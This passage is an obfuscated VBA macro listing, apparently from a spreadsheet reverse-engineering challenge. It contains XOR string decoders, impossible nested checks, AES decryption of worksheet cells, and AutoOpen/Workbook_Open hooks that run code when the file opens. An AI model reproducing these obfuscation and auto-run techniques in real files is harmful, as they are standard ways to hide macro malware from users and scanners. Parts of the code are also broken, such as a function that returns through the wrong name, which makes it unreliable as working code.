258 | If lkvpupxa = smmoy975(":" & Chr(74) & "" & Chr(108) & "" & Chr(105) & "" & "|" & "" & Chr(107) & "" & "Z" & Chr(56) & "" & "X" & "" & "z" & "" & ")" & "}" & Chr(42) & "(" & Chr(43) & "" & Chr(42) & Chr(45)) Then
259 |
260 | lkvpupxa = lkvpupxa2
261 |
262 | lkvpupxa = scramble4(lkvpupxa)
263 |
264 | End If
265 |
266 | MsgBox lkvpupxa
267 |
268 | End Sub
269 |
270 |
271 |
272 | Sub ww8wn9l2()
273 | X0 = Mid(hiz7dgus, 0, 1)
274 |
275 | X1 = Mid(hiz7dgus, 1, 1)
276 |
277 | X2 = Mid(hiz7dgus, 0, 1)
278 |
279 | X3 = Mid(hiz7dgus, 1, 1)
280 |
281 | X4 = Mid(hiz7dgus, 0, 1)
282 |
283 | X5 = Mid(hiz7dgus, 1, 1)
284 |
285 | X6 = Mid(hiz7dgus, 0, 1)
286 |
287 | X7 = Mid(hiz7dgus, 1, 1)
288 |
289 | X8 = Mid(hiz7dgus, 0, 1)
290 |
291 | X9 = Mid(hiz7dgus, 1, 1)
292 |
293 |
294 |
295 | If (X0 Xor X3) = 52 Then
296 |
297 | If (X1 + X3) = 123 Then
298 |
299 | If (X9 - X1) = -97 Then
300 |
301 | If X4 < 134 Then
302 |
303 | If (X4 Xor 127) = 98 Then
304 |
305 | If (X1 * X4) = 7568 Then
306 |
307 | If (X7 + X1 + X5 - X6) = 89 Then
308 |
309 | If (X7 - X5 + X6) = 56 Then
310 |
311 | If (X7 + X5 + X6) = 78 Then
312 |
313 | If (X2 + X8) < 198 Then
314 |
315 | If (X2 + X8) >= 232 Then
316 |
317 | If (X8 + X1) = 110 Then
318 |
319 | If (X9 + X1 + X8) = 210 Then
320 |
321 | lkvpupxa = scramble4(lkvpupxa4)
322 |
323 | End
324 |
325 | End If
326 |
327 | End If
328 |
329 | End If
330 |
331 | End If
332 |
333 | End If
334 |
335 | End If
336 |
337 | End If
338 |
339 | End If
340 |
341 | End If
342 |
343 | End If
344 |
345 | End If
346 |
347 | End If
348 |
349 | End If
350 |
351 | End Sub
352 |
353 | Function stringToByteArray(str As String) As Variant
354 |
355 | Dim bytes() As Byte
356 |
357 | bytes = str
358 |
359 | stringToByteArray = bytes
360 |
361 | End Function
362 |
363 |
364 |
365 | Function byteArrayToString(bytes() As Byte) As String
366 |
367 | Dim str As String
368 |
369 | str = bytes
370 |
371 | byteArrayToString = str
372 |
373 | End Function
374 |
375 | Function scramble4(str As String) As String
376 |
377 | Dim mki9hn67 As String
378 | mki9hn67 = smmoy975("`" & "" & Chr(42) & Chr(126) & "" & "!" & " " & "" & Chr(52) & "" & "5" & "" & Chr(56) & "" & "W" & Chr(123) & "" & Chr(104) & "" & Chr(35) & Chr(72) & Chr(119) & "" & "~" & "]" & "" & Chr(77) & "" & Chr(100) & "" & "6" & Chr(105) & "" & "Z" & "^" & Chr(127) & "" & Chr(72) & "w" & "~" & "" & "]" & "$" & Chr(50) & "" & Chr(78) & "" & "r" & "" & "Y" & "" & "6" & "i" & "Z" & "")
379 |
380 |
381 |
382 | Dim stringBytes() As Byte, passwordBytes() As Byte, scrambledBytes() As Byte
383 |
384 | stringBytes = stringToByteArray(str)
385 |
386 | passwordBytes = stringToByteArray(mki9hn67 & mki9hn67 & mki9hn67 & mki9hn67 & mki9hn67 & mki9hn67 & mki9hn67)
387 |
388 |
389 |
390 | Dim on86oqao As Long
391 |
392 | on86oqao = UBound(stringBytes)
393 |
394 | ReDim scrambledBytes(on86oqao)
395 |
396 | Dim idx As Long
397 |
398 | For idx = LBound(stringBytes) To on86oqao
399 |
400 | scrambledBytes(idx) = stringBytes(idx) Xor passwordBytes(idx)
401 |
402 | Next idx
403 |
404 | scramble2 = byteArrayToString(scrambledBytes)
405 |
406 | End Function
407 |
408 | Function scramble2(str As String) As String
409 |
410 | Dim pf67desr As String
411 | pf67desr = smmoy975("`" & "" & Chr(67) & Chr(114) & "" & Chr(46) & "X" & "4" & "" & "5" & Chr(56) & "" & "W" & "" & "{" & "h" & "" & Chr(35) & "" & Chr(72) & "" & "w" & Chr(126) & "]" & "" & "M" & Chr(100) & Chr(54) & "" & "i" & Chr(90) & "^" & Chr(127) & "T" & Chr(74) & "" & Chr(78) & "r" & Chr(89) & "" & Chr(99) & "$" & Chr(50) & "")
412 |
413 |
414 |
415 | Dim stringBytes() As Byte, passwordBytes() As Byte, scrambledBytes() As Byte
416 |
417 | stringBytes = stringToByteArray(str)
418 |
419 | passwordBytes = stringToByteArray(pf67desr & pf67desr & pf67desr & pf67desr & pf67desr & pf67desr & pf67desr)
420 |
421 |
422 |
423 | Dim on86oqao As Long
424 |
425 | on86oqao = UBound(stringBytes)
426 |
427 | ReDim scrambledBytes(on86oqao)
428 |
429 | Dim idx As Long
430 |
431 | For idx = LBound(stringBytes) To on86oqao
432 |
433 | scrambledBytes(idx) = stringBytes(idx) Xor passwordBytes(idx)
434 |
435 | Next idx
436 |
437 | scramble2 = byteArrayToString(scrambledBytes)
438 |
439 | End Function
440 |
441 |
442 |
443 | Function scramble3(str As String) As String
444 |
445 | Dim kj78hgb As String
446 | kj78hgb = smmoy975("A" & "" & Chr(89) & "T" & "" & "l" & "" & "^" & "" & "*" & Chr(68) & "~" & "q" & Chr(115) & "" & Chr(68) & Chr(111) & "o" & " " & "C" & "[" & "" & Chr(70) & Chr(107) & "w" & "" & "1" & "/" & "*" & Chr(84) & "" & Chr(89) & "" & "L" & Chr(78) & "" & "|" & "" & " " & "" & "Y" & "" & Chr(100) & "" & "Z" & Chr(55))
447 |
448 | Dim stringBytes() As Byte, passwordBytes() As Byte, scrambledBytes() As Byte
449 |
450 | stringBytes = stringToByteArray(str)
451 |
452 | passwordBytes = stringToByteArray(kj78hgb & kj78hgb & kj78hgb & kj78hgb & kj78hgb & kj78hgb & kj78hgb)
453 |
454 |
455 |
456 | Dim on86oqao As Long
457 |
458 | on86oqao = UBound(stringBytes)
459 |
460 | ReDim scrambledBytes(on86oqao) As Byte
461 |
462 | Dim idx As Long
463 |
464 | For idx = LBound(stringBytes) To on86oqao
465 |
466 | scrambledBytes(idx) = stringBytes(idx) Xor passwordBytes(idx)
467 |
468 | Next idx
469 |
470 | scramble3 = byteArrayToString(scrambledBytes)
471 |
472 | End Function
473 |
474 |
475 |
476 | Function scramble3bis(mydata() As Byte) As String
477 |
478 | Dim bjk98h As String
479 | bjk98h = smmoy975("A" & "" & Chr(89) & "T" & "" & "l" & "" & "^" & "" & "*" & Chr(68) & "~" & "q" & Chr(115) & "" & Chr(68) & Chr(111) & "o" & " " & "C" & "[" & "" & Chr(70) & Chr(107) & "w" & "" & "1" & "/" & "*" & Chr(84) & "" & Chr(89) & "" & "L" & Chr(78) & "" & "|" & "" & " " & "" & "Y" & "" & Chr(100) & "" & "Z" & Chr(55))
480 |
481 |
482 |
483 | Dim z7azq391 As Byte
484 |
485 | passwordBytes = stringToByteArray(bjk98h & bjk98h & bjk98h & bjk98h & bjk98h & bjk98h & bjk98h)
486 |
487 |
488 |
489 | Dim on86oqao As Long
490 |
491 | on86oqao = UBound(mydata)
492 |
493 | ReDim scrambledBytes(on86oqao) As Byte
494 |
495 | Dim idx As Long
496 |
497 | For idx = LBound(mydata) To on86oqao
498 |
499 | scrambledBytes(idx) = mydata(idx) Xor passwordBytes(idx)
500 |
501 | Next idx
502 |
503 | scramble3bis = byteArrayToString(scrambledBytes)
504 |
505 | End Function
506 |
507 | Sub AutoOpen()
508 | Auto_Open
509 | End Sub
510 |
511 | Sub Workbook_Open()
512 | Auto_Open
513 | End Sub
514 |
515 | Private Sub CRCinit()
516 | CRC_32_Tab(0) = &H0
517 |
518 | CRC_32_Tab(1) = &H77073096
519 |
520 | CRC_32_Tab(2) = &HEE0E612C
521 |
522 | CRC_32_Tab(3) = &H990951BA
523 |
524 | CRC_32_Tab(4) = &H76DC419
525 |
526 | CRC_32_Tab(5) = &H706AF48F
527 |
528 | CRC_32_Tab(6) = &HE963A535
529 |
530 | CRC_32_Tab(7) = &H9E6495A3
531 |
532 | CRC_32_Tab(8) = &HEDB8832
533 |
534 | CRC_32_Tab(9) = &H79DCB8A4
535 |
536 | CRC_32_Tab(10) = &HE0D5E91E
537 |
538 | CRC_32_Tab(11) = &H97D2D988
539 |
540 | CRC_32_Tab(12) = &H9B64C2B
541 |
542 | CRC_32_Tab(13) = &H7EB17CBD
543 |
544 | CRC_32_Tab(14) = &HE7B82D07
545 |
546 | CRC_32_Tab(15) = &H90BF1D91
547 |
548 | CRC_32_Tab(16) = &H1DB71064
549 |
550 | CRC_32_Tab(17) = &H6AB020F2
551 |
552 | CRC_32_Tab(18) = &HF3B97148
553 |
554 | CRC_32_Tab(19) = &H84BE41DE
555 |
556 | CRC_32_Tab(20) = &H1ADAD47D
557 |
558 | CRC_32_Tab(21) = &H6DDDE4EB
559 |
560 | CRC_32_Tab(22) = &HF4D4B551
561 |
562 | CRC_32_Tab(23) = &H83D385C7
563 |
564 | CRC_32_Tab(24) = &H136C9856
565 |
566 | CRC_32_Tab(25) = &H646BA8C0
567 |
568 | CRC_32_Tab(26) = &HFD62F97A
569 |
570 | CRC_32_Tab(27) = &H8A65C9EC
571 |
572 | CRC_32_Tab(28) = &H14015C4F
573 |
574 | CRC_32_Tab(29) = &H63066CD9
575 |
576 | CRC_32_Tab(30) = &HFA0F3D63
577 |
578 | CRC_32_Tab(31) = &H8D080DF5
579 |
580 | CRC_32_Tab(32) = &H3B6E20C8
581 |
582 | CRC_32_Tab(33) = &H4C69105E
583 |
584 | CRC_32_Tab(34) = &HD56041E4
585 |
586 | CRC_32_Tab(35) = &HA2677172
587 |
588 | CRC_32_Tab(36) = &H3C03E4D1
589 |
590 | CRC_32_Tab(37) = &H4B04D447
591 |
592 | CRC_32_Tab(38) = &HD20D85FD
593 |
594 | CRC_32_Tab(39) = &HA50AB56B
595 |
596 | CRC_32_Tab(40) = &H35B5A8FA
597 |
598 | CRC_32_Tab(41) = &H42B2986C
599 |
600 | CRC_32_Tab(42) = &HDBBBC9D6
601 |
602 | CRC_32_Tab(43) = &HACBCF940
603 |
604 | CRC_32_Tab(44) = &H32D86CE3
605 |
606 | CRC_32_Tab(45) = &H45DF5C75
607 |
608 | CRC_32_Tab(46) = &HDCD60DCF
609 |
610 | CRC_32_Tab(47) = &HABD13D59
611 |
612 | CRC_32_Tab(48) = &H26D930AC
613 |
614 | CRC_32_Tab(49) = &H51DE003A
615 |
616 | CRC_32_Tab(50) = &HC8D75180
617 |
618 | CRC_32_Tab(51) = &HBFD06116
619 |
620 | CRC_32_Tab(52) = &H21B4F4B5
621 |
622 | CRC_32_Tab(53) = &H56B3C423
623 |
624 | CRC_32_Tab(54) = &HCFBA9599
625 |
626 | CRC_32_Tab(55) = &HB8BDA50F
627 |
628 | CRC_32_Tab(56) = &H2802B89E
629 |
630 | CRC_32_Tab(57) = &H5F058808
631 |
632 | CRC_32_Tab(58) = &HC60CD9B2
633 |
634 | CRC_32_Tab(59) = &HB10BE924
635 |
636 | CRC_32_Tab(60) = &H2F6F7C87
637 |
638 | CRC_32_Tab(61) = &H58684C11
639 |
640 | CRC_32_Tab(62) = &HC1611DAB
641 |
642 | CRC_32_Tab(63) = &HB6662D3D
643 |
644 | CRC_32_Tab(64) = &H76DC4190
645 |
646 | CRC_32_Tab(65) = &H1DB7106
647 |
648 | CRC_32_Tab(66) = &H98D220BC
649 |
650 | CRC_32_Tab(67) = &HEFD5102A
651 |
652 | CRC_32_Tab(68) = &H71B18589
653 |
654 | CRC_32_Tab(69) = &H6B6B51F
655 |
656 | CRC_32_Tab(70) = &H9FBFE4A5
657 |
658 | CRC_32_Tab(71) = &HE8B8D433
659 |
660 | CRC_32_Tab(72) = &H7807C9A2
661 |
662 | CRC_32_Tab(73) = &HF00F934
663 |
664 | CRC_32_Tab(74) = &H9609A88E
665 |
666 | CRC_32_Tab(75) = &HE10E9818
667 |
668 | CRC_32_Tab(76) = &H7F6A0DBB
669 |
670 | CRC_32_Tab(77) = &H86D3D2D
671 |
672 | CRC_32_Tab(78) = &H91646C97
673 |
674 | CRC_32_Tab(79) = &HE6635C01
675 |
676 | CRC_32_Tab(80) = &H6B6B51F4
677 |
678 | CRC_32_Tab(81) = &H1C6C6162
679 |
680 | CRC_32_Tab(82) = &H856530D8
681 |
682 | CRC_32_Tab(83) = &HF262004E
683 |
684 | CRC_32_Tab(84) = &H6C0695ED
685 |
686 | CRC_32_Tab(85) = &H1B01A57B
687 |
688 | CRC_32_Tab(86) = &H8208F4C1
689 |
690 | CRC_32_Tab(87) = &HF50FC457
691 |
692 | CRC_32_Tab(88) = &H65B0D9C6
693 |
694 | CRC_32_Tab(89) = &H12B7E950
695 |
696 | CRC_32_Tab(90) = &H8BBEB8EA
697 |
698 | CRC_32_Tab(91) = &HFCB9887C
699 |
700 | CRC_32_Tab(92) = &H62DD1DDF
701 |
702 | CRC_32_Tab(93) = &H15DA2D49
703 |
704 | CRC_32_Tab(94) = &H8CD37CF3
705 |
706 | CRC_32_Tab(95) = &HFBD44C65
707 |
708 | CRC_32_Tab(96) = &H4DB26158
709 |
710 | CRC_32_Tab(97) = &H3AB551CE
711 |
712 | CRC_32_Tab(98) = &HA3BC0074
713 |
714 | CRC_32_Tab(99) = &HD4BB30E2
715 |
716 | CRC_32_Tab(100) = &H4ADFA541
717 |
718 | CRC_32_Tab(101) = &H3DD895D7
719 |
720 | CRC_32_Tab(102) = &HA4D1C46D
721 |
722 | CRC_32_Tab(103) = &HD3D6F4FB
723 |
724 | CRC_32_Tab(104) = &H4369E96A
725 |
726 | CRC_32_Tab(105) = &H346ED9FC
727 |
728 | CRC_32_Tab(106) = &HAD678846
729 |
730 | CRC_32_Tab(107) = &HDA60B8D0
731 |
732 | CRC_32_Tab(108) = &H44042D73
733 |
734 | CRC_32_Tab(109) = &H33031DE5
735 |
736 | CRC_32_Tab(110) = &HAA0A4C5F
737 |
738 | CRC_32_Tab(111) = &HDD0D7CC9
739 |
740 | CRC_32_Tab(112) = &H5005713C
741 |
742 | CRC_32_Tab(113) = &H270241AA
743 |
744 | CRC_32_Tab(114) = &HBE0B1010
745 |
746 | CRC_32_Tab(115) = &HC90C2086
747 |
748 | CRC_32_Tab(116) = &H5768B525
749 |
750 | CRC_32_Tab(117) = &H206F85B3
751 |
752 | CRC_32_Tab(118) = &HB966D409
753 |
754 | CRC_32_Tab(119) = &HCE61E49F
755 |
756 | CRC_32_Tab(120) = &H5EDEF90E
757 |
758 | CRC_32_Tab(121) = &H29D9C998
759 |
760 | CRC_32_Tab(122) = &HB0D09822
761 |
762 | CRC_32_Tab(123) = &HC7D7A8B4
763 |
764 | CRC_32_Tab(124) = &H59B33D17
765 |
766 | CRC_32_Tab(125) = &H2EB40D81
767 |
768 | CRC_32_Tab(126) = &HB7BD5C3B
769 |
770 | CRC_32_Tab(127) = &HC0BA6CAD
771 |
772 | CRC_32_Tab(128) = &HEDB88320
773 |
774 | CRC_32_Tab(129) = &H9ABFB3B6
775 |
776 | CRC_32_Tab(130) = &H3B6E20C
777 |
778 | CRC_32_Tab(131) = &H74B1D29A
779 |
780 | CRC_32_Tab(132) = &HEAD54739
781 |
782 | CRC_32_Tab(133) = &H9DD277AF
783 |
784 | CRC_32_Tab(134) = &H4DB2615
785 |
786 | CRC_32_Tab(135) = &H73DC1683
787 |
788 | CRC_32_Tab(136) = &HE3630B12
789 |
790 | CRC_32_Tab(137) = &H94643B84
791 |
792 | CRC_32_Tab(138) = &HD6D6A3E
793 |
794 | CRC_32_Tab(139) = &H7A6A5AA8
795 |
796 | CRC_32_Tab(140) = &HE40ECF0B
797 |
798 | CRC_32_Tab(141) = &H9309FF9D
799 |
800 | CRC_32_Tab(142) = &HA00AE27
801 |
802 | CRC_32_Tab(143) = &H7D079EB1
803 |
804 | CRC_32_Tab(144) = &HF00F9344
805 |
806 | CRC_32_Tab(145) = &H8708A3D2
807 |
808 | CRC_32_Tab(146) = &H1E01F268
809 |
810 | CRC_32_Tab(147) = &H6906C2FE
811 |
812 | CRC_32_Tab(148) = &HF762575D
813 |
814 | CRC_32_Tab(149) = &H806567CB
815 |
816 | CRC_32_Tab(150) = &H196C3671
817 |
818 | CRC_32_Tab(151) = &H6E6B06E7
819 |
820 | CRC_32_Tab(152) = &HFED41B76
821 |
822 | CRC_32_Tab(153) = &H89D32BE0
823 |
824 | CRC_32_Tab(154) = &H10DA7A5A
825 |
826 | CRC_32_Tab(155) = &H67DD4ACC
827 |
828 | CRC_32_Tab(156) = &HF9B9DF6F
829 |
830 | CRC_32_Tab(157) = &H8EBEEFF9
831 |
832 | CRC_32_Tab(158) = &H17B7BE43
833 |
834 | CRC_32_Tab(159) = &H60B08ED5
835 |
836 | CRC_32_Tab(160) = &HD6D6A3E8
837 |
838 | CRC_32_Tab(161) = &HA1D1937E
839 |
840 | CRC_32_Tab(162) = &H38D8C2C4
841 |
842 | CRC_32_Tab(163) = &H4FDFF252
843 |
844 | CRC_32_Tab(164) = &HD1BB67F1
845 |
846 | CRC_32_Tab(165) = &HA6BC5767
847 |
848 | CRC_32_Tab(166) = &H3FB506DD
849 |
850 | CRC_32_Tab(167) = &H48B2364B
851 |
852 | CRC_32_Tab(168) = &HD80D2BDA
853 |
854 | CRC_32_Tab(169) = &HAF0A1B4C
855 |
856 | CRC_32_Tab(170) = &H36034AF6
857 |
858 | CRC_32_Tab(171) = &H41047A60
859 |
860 | CRC_32_Tab(172) = &HDF60EFC3
861 |
862 | CRC_32_Tab(173) = &HA867DF55
863 |
864 | CRC_32_Tab(174) = &H316E8EEF
865 |
866 | CRC_32_Tab(175) = &H4669BE79
867 |
868 | CRC_32_Tab(176) = &HCB61B38C
869 |
870 | CRC_32_Tab(177) = &HBC66831A
871 |
872 | CRC_32_Tab(178) = &H256FD2A0
873 |
874 | CRC_32_Tab(179) = &H5268E236
875 |
876 | CRC_32_Tab(180) = &HCC0C7795
877 |
878 | CRC_32_Tab(181) = &HBB0B4703
879 |
880 | CRC_32_Tab(182) = &H220216B9
881 |
882 | CRC_32_Tab(183) = &H5505262F
883 |
884 | CRC_32_Tab(184) = &HC5BA3BBE
885 |
886 | CRC_32_Tab(185) = &HB2BD0B28
887 |
888 | CRC_32_Tab(186) = &H2BB45A92
889 |
890 | CRC_32_Tab(187) = &H5CB36A04
891 |
892 | CRC_32_Tab(188) = &HC2D7FFA7
893 |
894 | CRC_32_Tab(189) = &HB5D0CF31
895 |
896 | CRC_32_Tab(190) = &H2CD99E8B
897 |
898 | CRC_32_Tab(191) = &H5BDEAE1D
899 |
900 | CRC_32_Tab(192) = &H9B64C2B0
901 |
902 | CRC_32_Tab(193) = &HEC63F226
903 |
904 | CRC_32_Tab(194) = &H756AA39C
905 |
906 | CRC_32_Tab(195) = &H26D930A
907 |
908 | CRC_32_Tab(196) = &H9C0906A9
909 |
910 | CRC_32_Tab(197) = &HEB0E363F
911 |
912 | CRC_32_Tab(198) = &H72076785
913 |
914 | CRC_32_Tab(199) = &H5005713
915 |
916 | CRC_32_Tab(200) = &H95BF4A82
917 |
918 | CRC_32_Tab(201) = &HE2B87A14
919 |
920 | CRC_32_Tab(202) = &H7BB12BAE
921 |
922 | CRC_32_Tab(203) = &HCB61B38
923 |
924 | CRC_32_Tab(204) = &H92D28E9B
925 |
926 | CRC_32_Tab(205) = &HE5D5BE0D
927 |
928 | CRC_32_Tab(206) = &H7CDCEFB7
929 |
930 | CRC_32_Tab(207) = &HBDBDF21
931 |
932 | CRC_32_Tab(208) = &H86D3D2D4
933 |
934 | CRC_32_Tab(209) = &HF1D4E242
935 |
936 | CRC_32_Tab(210) = &H68DDB3F8
937 |
938 | CRC_32_Tab(211) = &H1FDA836E
939 |
940 | CRC_32_Tab(212) = &H81BE16CD
941 |
942 | CRC_32_Tab(213) = &HF6B9265B
943 |
944 | CRC_32_Tab(214) = &H6FB077E1
945 |
946 | CRC_32_Tab(215) = &H18B74777
947 |
948 | CRC_32_Tab(216) = &H88085AE6
949 |
950 | CRC_32_Tab(217) = &HFF0F6A70
951 |
952 | CRC_32_Tab(218) = &H66063BCA
953 |
954 | CRC_32_Tab(219) = &H11010B5C
955 |
956 | CRC_32_Tab(220) = &H8F659EFF
957 |
958 | CRC_32_Tab(221) = &HF862AE69
959 |
960 | CRC_32_Tab(222) = &H616BFFD3
961 |
962 | CRC_32_Tab(223) = &H166CCF45
963 |
964 | CRC_32_Tab(224) = &HA00AE278
965 |
966 | CRC_32_Tab(225) = &HD70DD2EE
967 |
968 | CRC_32_Tab(226) = &H4E048354
969 |
970 | CRC_32_Tab(227) = &H3903B3C2
971 |
972 | CRC_32_Tab(228) = &HA7672661
973 |
974 | CRC_32_Tab(229) = &HD06016F7
975 |
976 | CRC_32_Tab(230) = &H4969474D
977 |
978 | CRC_32_Tab(231) = &H3E6E77DB
979 |
980 | CRC_32_Tab(232) = &HAED16A4A
981 |
982 | CRC_32_Tab(233) = &HD9D65ADC
983 |
984 | CRC_32_Tab(234) = &H40DF0B66
985 |
986 | CRC_32_Tab(235) = &H37D83BF0
987 |
988 | CRC_32_Tab(236) = &HA9BCAE53
989 |
990 | CRC_32_Tab(237) = &HDEBB9EC5
991 |
992 | CRC_32_Tab(238) = &H47B2CF7F
993 |
994 | CRC_32_Tab(239) = &H30B5FFE9
995 |
996 | CRC_32_Tab(240) = &HBDBDF21C
997 |
998 | CRC_32_Tab(241) = &HCABAC28A
999 |
1000 | CRC_32_Tab(242) = &H53B39330
1001 |
1002 | CRC_32_Tab(243) = &H24B4A3A6
1003 |
1004 | CRC_32_Tab(244) = &HBAD03605
1005 |
1006 | CRC_32_Tab(245) = &HCDD70693
1007 |
1008 | CRC_32_Tab(246) = &H54DE5729
1009 |
1010 | CRC_32_Tab(247) = &H23D967BF
1011 |
1012 | CRC_32_Tab(248) = &HB3667A2E
1013 |
1014 | CRC_32_Tab(249) = &HC4614AB8
1015 |
1016 | CRC_32_Tab(250) = &H5D681B02
1017 |
1018 | CRC_32_Tab(251) = &H2A6F2B94
1019 |
1020 | CRC_32_Tab(252) = &HB40BBE37
1021 |
1022 | CRC_32_Tab(253) = &HC30C8EA1
1023 |
1024 | CRC_32_Tab(254) = &H5A05DF1B
1025 |
1026 | CRC_32_Tab(255) = &H2D02EF8D
1027 |
1028 | End Sub
1029 |
1030 |
1031 |
1032 | Private Function Shr(N As Long, m As Integer) As Long
1033 |
1034 | If (m > 31) Then
1035 |
1036 | Shr = 0
1037 |
1038 | Exit Function
1039 |
1040 | End If
1041 |
1042 | If (N >= 0) Then
1043 |
1044 | Shr = N \ (2 ^ m)
1045 |
1046 | Else
1047 |
1048 | Q& = N And &H7FFFFFFF
1049 |
1050 | Q& = Q& \ (2 ^ m)
1051 |
1052 | Shr = Q& Or (2 ^ (31 - m))
1053 |
1054 | End If
1055 |
1056 | End Function
1057 |
1058 |
1059 |
1060 | Private Function Calc(Stri As String) As Long
1061 |
1062 | CRCinit
1063 |
1064 | tCRC32& = &HFFFFFFFF
1065 |
1066 | For i& = 1 To Len(Stri)
1067 |
1068 | m& = Asc(Mid$(Stri, i&, 1))
1069 |
1070 | N& = (tCRC32& Xor m&) And &HFF
1071 |
1072 | tCRC32& = CRC_32_Tab(N&) Xor (Shr(tCRC32&, 8) And &HFFFFFF)
1073 |
1074 | Next i&
1075 |
1076 | Calc = -(tCRC32& + 1)
1077 |
1078 | End Function
1079 |
1080 |
1081 |
1082 | Public Function CalcStr(Stri As String) As String
1083 |
1084 | CalcStr = CStr(Hex$(Calc(Stri)))
1085 |
1086 | End Function
1087 |
1088 | Sub hgn5rk3f()
1089 | Dim ph9bg897 As String, qivopl82b As String
1090 | qivopl82b = hiz7dgus
1091 |
1092 | ph9bg897 = Worksheets(smmoy975(Chr(118) & "" & "i" & "" & Chr(124) & "k" & "x" & "" & Chr(109) & "" & Chr(112) & "" & smmoy975(Chr(111) & "") & "" & Chr(119))).Range(smmoy975(Chr(94) & "" & "+")).Value
1093 |
1094 | g345dzm = Module3.AES(ph9bg897, False, qivopl82b)
1095 |
1096 | Worksheets(smmoy975(Chr(118) & "" & "i" & "" & Chr(124) & "k" & "x" & "" & Chr(109) & "" & Chr(112) & "" & smmoy975(Chr(111) & "") & "" & Chr(119))).Range(smmoy975(Chr(94) & "" & "+")).Value = g345dzm
1097 |
1098 |
1099 |
1100 | ph9bg897 = Worksheets(smmoy975(Chr(118) & "" & "i" & "" & Chr(124) & "k" & "x" & "" & Chr(109) & "" & Chr(112) & "" & smmoy975(Chr(111) & "") & "" & Chr(119))).Range(smmoy975(Chr(94) & "!")).Value
1101 |
1102 | g345dzm = Module3.AES(ph9bg897, False, qivopl82b)
1103 |
1104 | Worksheets(smmoy975(Chr(118) & "" & "i" & "" & Chr(124) & "k" & "x" & "" & Chr(109) & "" & Chr(112) & "" & smmoy975(Chr(111) & "") & "" & Chr(119))).Range(smmoy975(Chr(94) & "!")).Value = g345dzm
1105 |
1106 |
1107 |
1108 | ph9bg897 = Worksheets(smmoy975(Chr(118) & "" & "i" & "" & Chr(124) & "k" & "x" & "" & Chr(109) & "" & Chr(112) & "" & smmoy975(Chr(111) & "") & "" & Chr(119))).Range(smmoy975("Q" & "" & Chr(43) & "" & Chr(40))).Value
1109 |
1110 | g345dzm = Module3.AES(ph9bg897, False, qivopl82b)
1111 |
1112 | Worksheets(smmoy975(Chr(118) & "" & "i" & "" & Chr(124) & "k" & "x" & "" & Chr(109) & "" & Chr(112) & "" & smmoy975(Chr(111) & "") & "" & Chr(119))).Range(smmoy975("Q" & "" & Chr(43) & "" & Chr(40))).Value = g345dzm
1113 |
1114 |
1115 |
1116 | ph9bg897 = Worksheets(smmoy975("}" & "" & "|" & Chr(109) & "" & Chr(120) & "" & "p" & "" & "u" & "" & "j")).Range(smmoy975(Chr(88) & "" & "+" & "")).Value
1117 |
1118 | g345dzm = Module3.AES(ph9bg897, False, qivopl82b)
1119 |
1120 | Worksheets(smmoy975("}" & "" & "|" & Chr(109) & "" & Chr(120) & "" & "p" & "" & "u" & "" & "j")).Range(smmoy975(Chr(88) & "" & "+" & "")).Value = g345dzm
1121 |
1122 |
1123 |
1124 | ph9bg897 = Worksheets(smmoy975("}" & "" & "|" & Chr(109) & "" & Chr(120) & "" & "p" & "" & "u" & "" & "j")).Range(smmoy975(Chr(88) & ",")).Value
1125 |
1126 | g345dzm = Module3.AES(ph9bg897, False, qivopl82b)
1127 |
1128 | Worksheets(smmoy975("}" & "" & "|" & Chr(109) & "" & Chr(120) & "" & "p" & "" & "u" & "" & "j")).Range(smmoy975(Chr(88) & ",")).Value = g345dzm
1129 |
1130 | End Sub
1131 |
1132 |
1133 | module3
1134 | =======
1135 |
1136 | Function AES(sMessage As String, isEncode As Boolean, sPassword As String) As String
1137 | Dim sbox()
1138 | Dim sboxinv()
1139 | Dim rcon()
1140 | Dim g2()
1141 | Dim g3()
1142 | Dim g9()
1143 | Dim g11()
1144 | Dim g13()
1145 | Dim g14()
1146 |
1147 | g2 = Array( _
1148 | &H0, &H2, &H4, &H6, &H8, &HA, &HC, &HE, &H10, &H12, &H14, &H16, &H18, &H1A, &H1C, &H1E, _
1149 | &H20, &H22, &H24, &H26, &H28, &H2A, &H2C, &H2E, &H30, &H32, &H34, &H36, &H38, &H3A, &H3C, &H3E, _
1150 | &H40, &H42, &H44, &H46, &H48, &H4A, &H4C, &H4E, &H50, &H52, &H54, &H56, &H58, &H5A, &H5C, &H5E, _
1151 | &H60, &H62, &H64, &H66, &H68, &H6A, &H6C, &H6E, &H70, &H72, &H74, &H76, &H78, &H7A, &H7C, &H7E, _
1152 | &H80, &H82, &H84, &H86, &H88, &H8A, &H8C, &H8E, &H90, &H92, &H94, &H96, &H98, &H9A, &H9C, &H9E, _
1153 | &HA0, &HA2, &HA4, &HA6, &HA8, &HAA, &HAC, &HAE, &HB0, &HB2, &HB4, &HB6, &HB8, &HBA, &HBC, &HBE, _
1154 | &HC0, &HC2, &HC4, &HC6, &HC8, &HCA, &HCC, &HCE, &HD0, &HD2, &HD4, &HD6, &HD8, &HDA, &HDC, &HDE, _
1155 | &HE0, &HE2, &HE4, &HE6, &HE8, &HEA, &HEC, &HEE, &HF0, &HF2, &HF4, &HF6, &HF8, &HFA, &HFC, &HFE, _
1156 | &H1B, &H19, &H1F, &H1D, &H13, &H11, &H17, &H15, &HB, &H9, &HF, &HD, &H3, &H1, &H7, &H5, _
1157 | &H3B, &H39, &H3F, &H3D, &H33, &H31, &H37, &H35, &H2B, &H29, &H2F, &H2D, &H23, &H21, &H27, &H25, _
1158 | &H5B, &H59, &H5F, &H5D, &H53, &H51, &H57, &H55, &H4B, &H49, &H4F, &H4D, &H43, &H41, &H47, &H45, _
1159 | &H7B, &H79, &H7F, &H7D, &H73, &H71, &H77, &H75, &H6B, &H69, &H6F, &H6D, &H63, &H61, &H67, &H65, _
1160 | &H9B, &H99, &H9F, &H9D, &H93, &H91, &H97, &H95, &H8B, &H89, &H8F, &H8D, &H83, &H81, &H87, &H85, _
1161 | &HBB, &HB9, &HBF, &HBD, &HB3, &HB1, &HB7, &HB5, &HAB, &HA9, &HAF, &HAD, &HA3, &HA1, &HA7, &HA5, _
1162 | &HDB, &HD9, &HDF, &HDD, &HD3, &HD1, &HD7, &HD5, &HCB, &HC9, &HCF, &HCD, &HC3, &HC1, &HC7, &HC5, _
1163 | &HFB, &HF9, &HFF, &HFD, &HF3, &HF1, &HF7, &HF5, &HEB, &HE9, &HEF, &HED, &HE3, &HE1, &HE7, &HE5)
1164 |
1165 | g3 = Array( _
1166 | &H0, &H3, &H6, &H5, &HC, &HF, &HA, &H9, &H18, &H1B, &H1E, &H1D, &H14, &H17, &H12, &H11, _
